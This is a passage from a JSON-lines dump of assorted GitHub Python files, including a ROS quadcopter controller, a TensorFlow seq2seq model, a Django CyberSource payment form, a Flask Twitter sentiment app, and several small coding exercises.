seq_max_len]\n","repo_name":"shijx12/XNM-Net","sub_path":"exp_vqa/model/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"98"} +{"seq_id":"29334180959","text":"# add-membership.py - Adds a Membership\nimport logging\nimport sys\nfrom smoacks.cli_util import get_opts, get_session\nfrom muam.Membership import Membership\n\n\nlogging.basicConfig(level=logging.DEBUG)\nLOGGER = logging.getLogger()\n\n\n\ndef add():\n opts = get_opts('add_membership', 'Adds Membership to a muam',\n { 'group_id': 'group_id',\n 'user_id': 'user_id',\n 'is_owner': 'is_owner',\n 'is_admin': 'is_admin',\n })\n\n session = get_session(opts)\n if not session:\n sys.exit('Invalid username/password.')\n\n \n add_item = Membership(**vars(opts))\n success, resp = add_item.save_new(session)\n\n if success:\n print('Added Membership with id: {}'.format(','.join(add_item.get_ids())))\n else:\n print('Add failed with code {} and message: {}'.format(resp.status_code, resp.text))","repo_name":"Wittle-South-LLC/MUAM","sub_path":"server/muam/cli/add_membership.py","file_name":"add_membership.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"9578613828","text":"# Chapter 15 Question 1\n# Write a recursive function that computes\n# the sum of the digits in an integer.\n\n\ndef sumDigits(number):\n if number == 0:\n return 0\n else:\n return sumDigits(number // 10) + number % 10\n\n\ndef main():\n inputNumber = eval(input(\"Enter Number: \"))\n print(\"Sum of digits is\", sumDigits(inputNumber))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mittal-umang/Analytics","sub_path":"Assignment-2/DigitSumRec.py","file_name":"DigitSumRec.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"1605149885","text":"rows = int(input())\nfinal_dict = {}\n\nfor i in range(rows):\n student_name = input()\n grade = float(input())\n if student_name not in final_dict:\n final_dict[student_name] = []\n\n final_dict[student_name].append(grade)\n\nfor student, grade in final_dict.items():\n sum_grades = 0\n for gr in grade:\n sum_grades += gr\n avg_grade = sum_grades / len(grade)\n if avg_grade >= 4.50:\n print(f'{student} -> {avg_grade:.2f}')\n","repo_name":"Vatari/python-fundamentals","sub_path":"dictionaries/exercise/student_academy.py","file_name":"student_academy.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"34518079918","text":"#!/usr/bin/env python\nimport message_filters, rospy\nfrom math import sin, cos, pi\nfrom geometry_msgs.msg import Twist\nfrom swarm.msg import QuadStamped, QuadState\n\ndef des_callback(q_des):\n\tglobal des\n\tdes = q_des\n\t# rospy.loginfo(\"des = [%f, %f, %f - %f]\", des.x, des.y, des.z, des.yaw)\n\ndef info_callback(state):\n\tglobal pub, twist, des\n\n\t# Constant variables:\n\tkp = [2.004,9.000,8.2] # Ku = [2.88,10.713,11.71]\n\tkd = [0.668,1.607,1.7] # Tu = [2.32,01.500,1.025]\n\n\t# Size compensation in Z:\n\tmin_z = 0.1824\n\tif des.z < min_z: des.z = min_z\n\n\t# Position Controller:\n\te_x = state.pos.x - des.x\n\te_y = state.pos.y - des.y\n\ttwist.linear.x = - kd[0] * (state.vel.y * sin(state.pos.yaw) + state.vel.x * cos(state.pos.yaw)) - kp[0] * (e_y * sin(state.pos.yaw) + e_x * cos(state.pos.yaw))\n\ttwist.linear.y = - kd[0] * (state.vel.y * cos(state.pos.yaw) - state.vel.x * sin(state.pos.yaw)) - kp[0] * (e_y * cos(state.pos.yaw) - e_x * sin(state.pos.yaw))\n\ttwist.linear.z = - kd[1] * state.vel.z - kp[1] * (state.pos.z - des.z)\n\t\n\t# Yaw angle controller:\n\te_yaw1 = state.pos.yaw - des.yaw\n\tif des.yaw > 0: e_yaw2 = e_yaw1 + 2 * pi\n\telse: e_yaw2 = e_yaw1 - 2 * pi\n\tif abs(e_yaw1) < abs(e_yaw2): e_yaw = e_yaw1\n\telse: e_yaw = e_yaw2\n\ttwist.angular.z = - kd[2] * state.vel.yaw - kp[2] * e_yaw\n\n\t# Limit:\n\tif abs(twist.linear.x) < 0.05: twist.linear.x = 0.0\n\tif abs(twist.linear.y) < 0.05: twist.linear.y = 0.0\n\tif abs(twist.linear.z) < 0.05: twist.linear.z = 0.0\n\tif abs(twist.angular.z) < 0.05: twist.angular.z = 0.0\n\n\t# Publish twist:\n\ttry:\n\t\tpub.publish(twist)\n\t\t# rospy.loginfo(\"quad_twist = [%f, %f, %f - %f]\", twist.linear.x, twist.linear.y, twist.linear.z, twist.angular.z)\n\texcept rospy.ROSException:\n\t\tpass\n\nif __name__ == '__main__':\n\trospy.init_node('pos_controller', anonymous=True)\n\trospy.loginfo(\"Node %s started!\", rospy.get_name())\n\n\tpub = rospy.Publisher('cmd_vel', Twist, queue_size=10)\n\ttwist = Twist()\n\ttwist.linear.x = 0; twist.linear.y = 0; twist.linear.z = 0\n\ttwist.angular.x = 0; twist.angular.y = 0; twist.angular.z = 0\n\n\tdes = QuadStamped()\n\n\ttry:\n\t\trospy.sleep(1)\n\t\trospy.Subscriber('quad_state', QuadState, info_callback)\n\t\trospy.Subscriber('des_pos', QuadStamped, des_callback)\n\t\trospy.loginfo(\"Node %s start spining!\", rospy.get_name())\n\t\trospy.spin()\n\n\texcept rospy.ROSInterruptException:\n\t\tpass\n\n\tfinally:\n\t\ttwist.linear.x = 0; twist.linear.y = 0; twist.linear.z = 0\n\t\ttwist.angular.x = 0; twist.angular.y = 0; twist.angular.z = 0\n\t\tpub.publish(twist)\n\t\trospy.loginfo(\"Node %s finished!\", rospy.get_name())\n","repo_name":"MarianoOG/FlockingBehavior-Swarm","sub_path":"nodes/pos_controller.py","file_name":"pos_controller.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"39103975844","text":"import tensorflow as tf\n\nclass Seq2SeqModel():\n def __init__(self, rnn_size, num_layers, enc_embedding_size,dec_embedding_size,learning_rate, source_word_to_idx,\n target_word_to_idx, mode, use_attention,\n beam_search, beam_size, max_gradient_norm=5.0):\n self.learing_rate = learning_rate\n self.enc_embedding_size = enc_embedding_size\n self.dec_embedding_size = dec_embedding_size\n self.rnn_size = rnn_size\n self.num_layers = num_layers\n self.source_word_to_idx = source_word_to_idx\n self.target_word_to_idx = target_word_to_idx\n self.source_vocab_size = len(self.source_word_to_idx)\n self.target_vocab_size = len(self.target_word_to_idx)\n self.mode = mode\n self.use_attention = use_attention\n self.beam_search = beam_search\n self.beam_size = beam_size\n self.max_gradient_norm = max_gradient_norm\n\n #add placehoder for model\n self.encoder_inputs = tf.placeholder(tf.int32, [None, None], name='encoder_inputs')\n self.encoder_inputs_length = tf.placeholder(tf.int32, [None], name='encoder_inputs_length')\n\n self.batch_size = tf.placeholder(tf.int32, [], name='batch_size')\n self.keep_prob = tf.placeholder(tf.float32, name='keep_prob_placeholder')\n\n self.decoder_targets = tf.placeholder(tf.int32, [None, None], name='decoder_targets')\n self.decoder_targets_length = tf.placeholder(tf.int32, [None],\n name='decoder_targets_length')\n self.max_target_sequence_length = tf.reduce_max(self.decoder_targets_length,\n name='max_target_len')\n self.mask = tf.sequence_mask(self.decoder_targets_length, self.max_target_sequence_length,\n dtype=tf.float32, name='masks')\n\n # loss of the model\n self.loss = self.loss_layer()\n # Training summary for the current batch_loss\n tf.summary.scalar('loss', self.loss)\n self.summary_op = tf.summary.merge_all()\n\n # Calculate and clip gradients\n trainable_params = tf.trainable_variables()\n gradients = tf.gradients(self.loss, trainable_params)\n clipped_gradients, _ = tf.clip_by_global_norm(\n gradients, self.max_gradient_norm)\n\n # Optimization\n optimizer = tf.train.AdamOptimizer(self.learing_rate)\n self.train_op = optimizer.apply_gradients(zip(clipped_gradients, trainable_params))\n\n # saver of the model\n self.saver = tf.train.Saver(tf.global_variables(), max_to_keep=5)\n\n def create_rnn_cell(self):\n def single_rnn_cell():\n # 创建单个cell,这里需要注意的是一定要使用一个single_rnn_cell的函数,不然直接把cell放在MultiRNNCell\n # 的列表中最终模型会发生错误\n single_cell = tf.contrib.rnn.LSTMCell(self.rnn_size,initializer=\n tf.random_uniform_initializer(-0.1, 0.1, seed=2))\n #添加dropout\n # 如果仅仅是对RNN输入层与LSTM1层做dropout,就相当于对 encoder_embed_input 做dropout\n # 可以使用 encoder_embed_input=tf.nn.dropout(encoder_embed_input,keep_prob)实现\n cell = tf.contrib.rnn.DropoutWrapper(single_cell, input_keep_prob=self.keep_prob)\n return cell\n #列表中每个元素都是调用single_rnn_cell函数\n cell = tf.contrib.rnn.MultiRNNCell([single_rnn_cell() for _ in range(self.num_layers)])\n return cell\n\n def encoder_layer(self):\n with tf.variable_scope('encoder'):\n # 创建LSTMCell,两层+dropout\n encoder_cell = self.create_rnn_cell()\n\n # Encoder embedding\n # encoder_embed_input = tf.contrib.layers.embed_sequence(encoder_input,\n # vocab_size=source_vocab_size,\n # embed_dim=encoding_embedding_size)\n # 构建embedding矩阵,encoder用该词向量矩阵\n enc_embedding = tf.get_variable('embedding', [self.source_vocab_size, self.enc_embedding_size])\n encoder_inputs_embedded = tf.nn.embedding_lookup(enc_embedding, self.encoder_inputs)\n # 使用dynamic_rnn构建LSTM模型,将输入编码成隐层向量。\n # encoder_outputs用于attention,batch_size*encoder_inputs_length*rnn_size,\n # encoder_state用于decoder的初始化状态,batch_size*rnn_szie\n encoder_outputs, encoder_state = tf.nn.dynamic_rnn(encoder_cell,\n encoder_inputs_embedded,\n sequence_length=self.encoder_inputs_length,\n dtype=tf.float32)\n return encoder_outputs, encoder_state\n\n def decoder_layer(self):\n with tf.variable_scope('decode'):\n\n decoder_cell = self.create_rnn_cell()\n\n _, encoder_state = self.encoder_layer()\n\n if self.beam_search:\n # 如果使用beam_search,则需要将encoder的输出进行tile_batch,其实就是复制beam_size份。\n print(\"use beamsearch decoding..\")\n decoder_initial_state = tf.contrib.seq2seq.tile_batch(\n encoder_state, multiplier=self.beam_size)\n else:\n decoder_initial_state = encoder_state\n\n dec_embedding = tf.get_variable(name='dec_embedding',\n dtype=tf.float32,\n shape=[self.target_vocab_size, self.dec_embedding_size])\n output_layer = tf.layers.Dense(self.target_vocab_size,\n kernel_initializer=tf.truncated_normal_initializer(\n mean=0.0,\n stddev=0.1))\n if self.mode == 'train':\n\n # 定义decoder阶段的输入,其实就是在decoder的target开始处添加一个,并删除结尾处的,并进行embedding。\n # decoder_inputs_embedded的shape为[batch_size, decoder_targets_length, embedding_size]\n ending = tf.strided_slice(self.decoder_targets, [0, 0], [self.batch_size, -1],\n [1, 1])\n\n # ending = self.decoder_targets\n decoder_input = tf.concat(\n [tf.fill([self.batch_size, 1], self.target_word_to_idx['']), ending], 1)\n\n decoder_inputs_embedded = tf.nn.embedding_lookup(dec_embedding, decoder_input)\n\n # 训练阶段,使用TrainingHelper+BasicDecoder的组合,这一般是固定的,当然也可以自己定义Helper类,实现自己的功能\n training_helper = tf.contrib.seq2seq.TrainingHelper(inputs=decoder_inputs_embedded,\n sequence_length=self.decoder_targets_length,\n time_major=False,\n name='training_helper')\n training_decoder = tf.contrib.seq2seq.BasicDecoder(cell=decoder_cell,\n helper=training_helper,\n initial_state=decoder_initial_state,\n output_layer=output_layer)\n # 调用dynamic_decode进行解码,decoder_outputs是一个namedtuple,里面包含两项(rnn_outputs, sample_id)\n # rnn_output: [batch_size, decoder_targets_length, vocab_size],保存decode每个时刻每个单词的概率,可以用来计算loss\n # sample_id: [batch_size], tf.int32,保存最终的编码结果。可以表示最后的答案\n train_decoder_outputs, _, _ = tf.contrib.seq2seq.dynamic_decode(decoder=training_decoder,\n impute_finished=True,\n maximum_iterations=self.max_target_sequence_length)\n return train_decoder_outputs\n\n elif self.mode == 'infer':\n\n start_tokens = tf.ones([self.batch_size], tf.int32) * self.target_word_to_idx['']\n end_token = self.target_word_to_idx['']\n # decoder阶段根据是否使用beam_search决定不同的组合,\n # 如果使用则直接调用BeamSearchDecoder(里面已经实现了helper类)\n # 如果不使用则调用GreedyEmbeddingHelper+BasicDecoder的组合进行贪婪式解码\n\n if self.beam_search:\n inference_decoder = tf.contrib.seq2seq.BeamSearchDecoder(cell=decoder_cell,\n embedding=dec_embedding,\n start_tokens=start_tokens,\n end_token=end_token,\n initial_state=decoder_initial_state,\n beam_width=self.beam_size,\n output_layer=output_layer)\n else:\n decoding_helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(embedding=dec_embedding,\n start_tokens=start_tokens,\n end_token=end_token)\n inference_decoder = tf.contrib.seq2seq.BasicDecoder(cell=decoder_cell,\n helper=decoding_helper,\n initial_state=decoder_initial_state,\n output_layer=output_layer)\n infer_decoder_outputs, _, _ = tf.contrib.seq2seq.dynamic_decode(decoder=inference_decoder,\n impute_finished=True,\n maximum_iterations=self.max_target_sequence_length)\n\n # 调用dynamic_decode进行解码,decoder_outputs是一个namedtuple,\n # 对于不使用beam_search的时候,它里面包含两项(rnn_outputs, sample_id)\n # rnn_output: [batch_size, decoder_targets_length, vocab_size]\n # sample_id: [batch_size, decoder_targets_length], tf.int32\n\n # 对于使用beam_search的时候,它里面包含两项(predicted_ids, beam_search_decoder_output)\n # predicted_ids: [batch_size, decoder_targets_length, beam_size],保存输出结果\n # beam_search_decoder_output: BeamSearchDecoderOutput instance namedtuple(scores, predicted_ids, parent_ids)\n # 所以对应只需要返回predicted_ids或者sample_id即可翻译成最终的结果\n\n if self.beam_search:\n self.decoder_predict_decode = infer_decoder_outputs.predicted_ids\n else:\n self.decoder_predict_decode = tf.expand_dims(infer_decoder_outputs.sample_id, -1)\n\n return infer_decoder_outputs\n\n def loss_layer(self):\n decoder_outputs = self.decoder_layer()\n # 根据输出计算loss和梯度,并定义进行更新的AdamOptimizer和train_op\n decoder_logits_train = tf.identity(decoder_outputs.rnn_output)\n # decoder_predict_train 在训练阶段其实没啥用,并不作为t+1阶段的输入。而是直接将target序列\n # 作为decoder的输入\n self.decoder_predict_train = tf.argmax(decoder_logits_train, axis=-1,\n name='decoder_pred_train')\n\n # 使用sequence_loss计算loss,这里需要传入之前定义的mask标志.\n # 这里也可以使用sparse_softmax_cross_entropy_with_logits来计算loss\n # crossent = tf.nn.sparse_softmax_cross_entropy_with_logits(\n # labels=decoder_outputs, logits=logits)\n # train_loss = (tf.reduce_sum(crossent * target_weights) /\n # batch_size)\n loss = tf.contrib.seq2seq.sequence_loss(logits=decoder_logits_train,\n targets=self.decoder_targets,\n weights=self.mask)\n return loss\n\n\n def create_feed_dict(self, is_train, is_infer, batch):\n\n feed_dict = {\n self.encoder_inputs: batch.encoder_inputs,\n self.encoder_inputs_length: batch.encoder_inputs_length,\n self.decoder_targets: batch.decoder_targets,\n self.decoder_targets_length: batch.decoder_targets_length,\n self.keep_prob: 1.0,\n self.batch_size: len(batch.encoder_inputs)\n }\n\n if is_train:\n feed_dict[self.keep_prob] = 0.5\n\n if is_infer:\n feed_dict = {\n self.encoder_inputs: batch.encoder_inputs,\n self.encoder_inputs_length: batch.encoder_inputs_length,\n self.keep_prob: 1.0,\n self.batch_size: len(batch.encoder_inputs)\n }\n\n return feed_dict\n\n def train(self, sess, batch):\n # 对于训练阶段,需要执行self.train_op, self.loss, self.summary_op三个op,并传入相应的数据\n\n feed_dict = self.create_feed_dict(is_train=True, is_infer=False, batch=batch)\n _, loss, summary = sess.run([self.train_op, self.loss, self.summary_op],\n feed_dict=feed_dict)\n return loss, summary\n\n def eval(self, sess, batch):\n # 对于eval阶段,不需要反向传播,所以只执行self.loss, self.summary_op两个op,并传入相应的数据\n feed_dict = self.create_feed_dict(is_train=False, is_infer=False, batch=batch)\n loss, summary = sess.run([self.loss, self.summary_op], feed_dict=feed_dict)\n return loss, summary\n\n def infer(self, sess, batch):\n #infer阶段只需要运行最后的结果,不需要计算loss,所以feed_dict只需要传入encoder_input相应的数据即可\n feed_dict = self.create_feed_dict(is_train=False, is_infer=True, batch=batch)\n predict = sess.run([self.decoder_predict_decode], feed_dict=feed_dict)\n return predict\n\n\n\n def restore(self, sess, dir_model):\n \"\"\"Reload weights into session\n\n Args:\n sess: tf.Session()\n dir_model: dir with weights\n\n \"\"\"\n print(\"Reloading the latest trained model...\")\n self.saver.restore(sess, dir_model)\n\n\n\n\n\n\n\n\n\n\n# def encoder_layer(encoder_input, source_vocab_size, encoding_embedding_size,\n# lstm_hidden_size, keep_prob, num_layers, source_sequence_length):\n#\n# # Encoder embedding\n# encoder_embed_input = tf.contrib.layers.embed_sequence(encoder_input,\n# vocab_size=source_vocab_size,\n# embed_dim=encoding_embedding_size)\n#\n# def get_lstm_cell(hidden_size):\n# lstm_cell = tf.contrib.rnn.LSTMCell(hidden_size, initializer=\n# tf.random_uniform_initializer(-0.1, 0.1, seed=2))\n# return lstm_cell\n#\n# stacked_cells = tf.contrib.rnn.MultiRNNCell(\n# [tf.contrib.rnn.DropoutWrapper(get_lstm_cell(hidden_size=lstm_hidden_size),\n# input_keep_prob=keep_prob)\n# for _ in range(num_layers)])\n#\n# encoder_output, encoder_state = tf.nn.dynamic_rnn(stacked_cells, encoder_embed_input,\n# sequence_length=source_sequence_length,\n# dtype=tf.float32)\n# return encoder_output, encoder_state\n\n\n\n# def decoder_layer(dec_input, target_vocab_to_int, dec_embedding_size,rnn_size,num_layers,\n# mode):\n# with tf.variable_scope('decode'):\n# target_vocab_size = len(target_vocab_to_int)\n# dec_embedding = tf.get_variable(name='dec_embedding',\n# dtype=tf.float32,\n# shape=[target_vocab_size,dec_embedding_size])\n# dec_embed_input = tf.nn.embedding_lookup(dec_embedding, dec_input)\n#\n# cells = tf.contrib.rnn.MultiRNNCell(\n# [tf.contrib.rnn.LSTMCell(rnn_size) for _ in range(num_layers)])\n#\n# output_layer = tf.layers.Dense(self.vocab_size,\n# kernel_initializer=tf.truncated_normal_initializer(mean=0.0,\n# stddev=0.1))\n# if mode == 'train':\n# pass\n#\n# elif mode == 'infer':\n# pass\n\n\n\n\n\n\n\n\n\n","repo_name":"CandyConfident/nmt_seq2seq_tutorial","sub_path":"seq2seq/seq2seq_tensorflow.py","file_name":"seq2seq_tensorflow.py","file_ext":"py","file_size_in_byte":17589,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"98"} +{"seq_id":"33804979791","text":"class Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n nums_len = len(nums)\n def quickSelect(l, r, pivot):\n j = l\n for i in range(l, r + 1):\n if nums[i] <= nums[pivot]:\n nums[i], nums[j] = nums[j], nums[i]\n j = j + 1\n nums[j], nums[pivot] = nums[pivot], nums[j]\n return j\n def find(l, r):\n if l == r == nums_len - k:\n return nums[l]\n newPivot = quickSelect(l,r-1, r)\n if newPivot == nums_len - k:\n return nums[newPivot]\n elif newPivot > nums_len - k:\n return find(l, newPivot - 1)\n else:\n return find(newPivot+1, r)\n return find(0, len(nums) - 1)\n ","repo_name":"TjuAachen/Leetcode_Log","sub_path":"215-kth-largest-element-in-an-array/215-kth-largest-element-in-an-array.py","file_name":"215-kth-largest-element-in-an-array.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"5139532821","text":"from django import forms\n\nfrom django.forms import ModelForm\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom models import Confirmation\nfrom configuration import access_key, profile_id\n\nimport time\nimport datetime\nimport uuid\n\n\nclass PaymentForm(forms.Form):\n transaction_type = forms.CharField(\n label=_('Transaction Type'),\n max_length=25,\n required=True,\n initial=\"authorization\",\n disabled=True\n )\n\n reference_number = forms.CharField(\n label=_('Reference Number'),\n max_length=25,\n required=True,\n initial=str(int(round(time.time() * 1000))),\n disabled=True\n )\n\n amount = forms.DecimalField(\n label=_('Amount'),\n required=True, min_value=0.1,\n decimal_places=2,\n max_value=1000000\n )\n\n currency = forms.CharField(\n label=_('Currency'),\n max_length=25,\n required=True,\n initial=\"USD\",\n disabled=True\n )\n\n bill_address1 = forms.CharField(\n label=_('First Address'),\n required=True,\n initial=\"1 My Apartment\",\n disabled=True\n )\n\n bill_city = forms.CharField(\n label=_('City'),\n required=True,\n initial=\"Mountain View\",\n disabled=True\n )\n\n bill_country = forms.CharField(\n label=_('Country'),\n required=True,\n initial=\"US\",\n disabled=True\n )\n\n customer_email = forms.CharField(\n label=_('Email'),\n required=True,\n initial=\"joesmith@example.com\",\n disabled=True\n )\n\n customer_lastname = forms.CharField(\n label=_('Last Name'),\n required=True,\n initial=\"Smith\",\n disabled=True\n )\n\n access_key = forms.CharField(\n label=_('Access Key'),\n required=True,\n initial=access_key,\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n profile_id = forms.CharField(\n label=_('Profile ID'),\n required=True,\n initial=profile_id,\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n transaction_uuid = forms.CharField(\n label=_('Transaction UUID'),\n required=True,\n initial=str(uuid.uuid1()),\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n signed_field_names = forms.CharField(\n label=_('Signed Field Names'),\n required=True,\n initial=\"\"\"access_key,profile_id,transaction_uuid,signed_field_names,unsigned_field_names,signed_date_time,locale,transaction_type,reference_number,amount,currency,bill_address1,bill_city,bill_country,customer_email,customer_lastname\"\"\",\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n unsigned_field_names = forms.CharField(\n label=_('Unsigned Field Names'),\n required=False,\n initial=\"signature\",\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n signed_date_time = forms.CharField(\n label=_('Signed Datetime'),\n required=True,\n initial=datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%SZ\"),\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n locale = forms.CharField(\n label=_('Locale'),\n required=True,\n initial=\"en\",\n disabled=True,\n widget=forms.HiddenInput()\n )\n\n\nclass ConfirmationForm(ModelForm):\n\n class Meta:\n model = Confirmation\n fields = [\n 'transaction_type',\n 'reference_number',\n 'amount',\n 'currency',\n 'bill_address1',\n 'bill_city',\n 'bill_country',\n 'customer_email',\n 'customer_lastname',\n 'access_key',\n 'profile_id',\n 'transaction_uuid',\n 'signed_field_names',\n 'unsigned_field_names',\n 'signed_date_time',\n 'locale',\n 'signature',\n #'ignore_avs',\n ]\n","repo_name":"daytipper1989/django-cybersource","sub_path":"cybersource_payment/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"7397456947","text":"from flask import Flask,render_template, redirect, request\nimport numpy as np\nimport tweepy \nimport pandas as pd\nfrom textblob import TextBlob\nfrom wordcloud import WordCloud\nimport re\n\napp = Flask(__name__)\n\n@app.route('/sentiment', methods = ['GET','POST'])\ndef sentiment():\n global negative_per, positive_per, neutral_per\n userid = request.form.get('userid')\n sentence = request.form.get('sentence')\n\n if userid == \"\" and sentence == \"\":\n error = \"Please Enter any one value\"\n return render_template('index.html', error=error)\n \n if not userid == \"\" and not sentence == \"\":\n error = \"Both entry not allowed\"\n return render_template('index.html', error=error)\n\n #======================Insert Twitter API Here==========================\n consumerKey = '**************ADD YOURS*********'\n consumerSecret = '**************ADD YOURS********'\n accessToken = '**************ADD YOURS*******'\n accessTokenSecret = '**************ADD YOURS*******'\n #======================Insert Twitter API End===========================\n \n authenticate = tweepy.OAuthHandler(consumerKey, consumerSecret)\n authenticate.set_access_token(accessToken, accessTokenSecret)\n api = tweepy.API(authenticate, wait_on_rate_limit = True)\n\n def cleanTxt(text):\n text = re.sub('@[A-Za-z0–9]+', '', text) #Removing @mentions\n text = re.sub('#', '', text) # Removing '#' hash tag\n text = re.sub('RT[\\s]+', '', text) # Removing RT\n text = re.sub('https?:\\/\\/\\S+', '', text) # Removing hyperlink\n return text\n def getSubjectivity(text):\n return TextBlob(text).sentiment.subjectivity\n def getPolarity(text):\n return TextBlob(text).sentiment.polarity\n def getAnalysis(score):\n if score < 0:\n return 'Negative'\n elif score == 0:\n return 'Neutral'\n else:\n return 'Positive'\n\n if userid == \"\":\n\n username = sentence\n blob = TextBlob(sentence)\n sentimentsentence = blob.sentiment.polarity\n if sentimentsentence > 0:\n senti = \"Positive\"\n elif sentimentsentence < 0:\n senti = \"Negative\"\n else:\n senti = \"Neutral\"\n\n return render_template('sentencesentiment.html', name=sentence,senti=senti)\n else:\n # user coding\n username = \"@\"+userid\n\n post = api.user_timeline(screen_name=userid, count=500, lang =\"en\", tweet_mode=\"extended\")\n twitter = pd.DataFrame([tweet.full_text for tweet in post], columns=['Tweets'])\n\n twitter['Tweets'] = twitter['Tweets'].apply(cleanTxt)\n twitter['Subjectivity'] = twitter['Tweets'].apply(getSubjectivity)\n twitter['Polarity'] = twitter['Tweets'].apply(getPolarity)\n\n twitter['Analysis'] = twitter['Polarity'].apply(getAnalysis)\n positive = twitter.loc[twitter['Analysis'].str.contains('Positive')]\n negative = twitter.loc[twitter['Analysis'].str.contains('Negative')]\n neutral = twitter.loc[twitter['Analysis'].str.contains('Neutral')]\n\n positive_per = round((positive.shape[0]/twitter.shape[0])*100, 1)\n negative_per = round((negative.shape[0]/twitter.shape[0])*100, 1)\n neutral_per = round((neutral.shape[0]/twitter.shape[0])*100, 1)\n\n return render_template('sentiment.html', name=username,positive=positive_per,negative=negative_per,neutral=neutral_per)\n\n@app.route('/')\ndef home():\n return render_template('index.html')\napp.run(debug=True)\n","repo_name":"PrinceHptl/My_Projects","sub_path":"TwitterLiveData_Sentiment_Analysis/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"9071142638","text":"from bs4 import BeautifulSoup\n\nhtml = open(\"fruits.html\", \"r\", encoding=\"utf-8\")\nsoup = BeautifulSoup(html, \"html.parser\")\nbody=soup.select_one(\"body\")\nptag=body.find('p')\nprint(ptag['class'])\n\nptag['class'][1] = 'white'\n\nprint(ptag['class'])\n\nptag['id']='apple'\nprint(ptag['id'])\n\nbody_tag = soup.find('body')\nprint(body_tag)\n\nidx=0\nfor child in body_tag.children:\n idx+=1\n print(str(idx), child)\n\nmydiv = soup.find(\"div\")\nprint(mydiv)\n\nmytag = soup.find(\"p\", attrs='hard')\nprint(mytag)\n\nprint(mytag.find_parent())\n \nparents=mytag.find_parents()\nfor p in parents:\n print(p.name)","repo_name":"pys5205/python_study","sub_path":"fruts_bs4ex02.py","file_name":"fruts_bs4ex02.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"39870060921","text":"\"\"\"Various commonly used utility functions\"\"\"\n\nimport argparse\n\n\n# The way how argparse treats boolean arguments sucks, so we need to do this\ndef str2bool(val):\n val = str(val)\n if val.lower() in [\"yes\", \"true\", \"y\", \"t\", \"1\"]:\n return True\n elif val.lower() in [\"no\", \"false\", \"n\", \"f\", \"0\"]:\n return False\n else:\n raise argparse.ArgumentTypeError(\"Boolean value expected, not %s\" % (val,))\n","repo_name":"GateNLP/AbuseDetection","sub_path":"gate/kaggle/FileJsonPyTorch/gate-lf-pytorch-json/gatelfpytorchjson/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"6384292655","text":"class Solution:\n def subsets(self, nums: List[int]) -> List[List[int]]:\n def backtrack(i, path):\n if i > len(nums):\n return\n res.append(path[:])\n for index in range(i, len(nums)):\n path.append(nums[index])\n backtrack(index+1, path)\n path.pop()\n \n res = []\n backtrack(0, [])\n return res","repo_name":"acyanes/leetcode","sub_path":"solutions/python/78.py","file_name":"78.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"14514198956","text":"from glob import glob\nimport os.path\nimport textwrap\n\nimport arrow\n\nTIL_DIR = \"content/post/til\"\n\n\ndef get_filename(arrow_date):\n ds = f\"{arrow_date:YYMMDD}\"\n files = glob(os.path.join(TIL_DIR, f\"*{ds}*.md\"))\n if files:\n files.sort()\n highest = int(files[-1].split(\".md\")[0].split(\"_\")[-1])\n else:\n highest = 0\n fn = f\"til_{ds}_{highest + 1}.md\"\n return fn\n\n\ndef make_til_file(arrow_date):\n fn = get_filename(arrow_date)\n with open(os.path.join(TIL_DIR, fn), \"w\") as fh:\n fh.write(\n textwrap.dedent(\n f\"\"\"\\\n---\ndate: \"{arrow_date:YYYY-MM-DD}\"\ntags: [\"til\"]\ntitle: \"Today I Learned: {arrow_date:DD/MM/YYYY} - \"\n---\n\n\"\"\"\n )\n )\n\n\nif __name__ == \"__main__\":\n from rich.prompt import Prompt\n\n ds = Prompt.ask(\"Date for TIL file (YYMMDD):\", default=f\"{arrow.now():YYMMDD}\")\n make_til_file(arrow.get(ds, \"YYMMDD\"))\n","repo_name":"kimvanwyk/public_website","sub_path":"make_til_entry.py","file_name":"make_til_entry.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"36659710034","text":"T = int(input())\nfor i in range(T):\n H,W = list(map(int,input().split()))\n for j in range(H):\n a = input()\n b = W-1\n while b>=0:\n print(a[b], end='')\n b -= 1\n print()\n\n 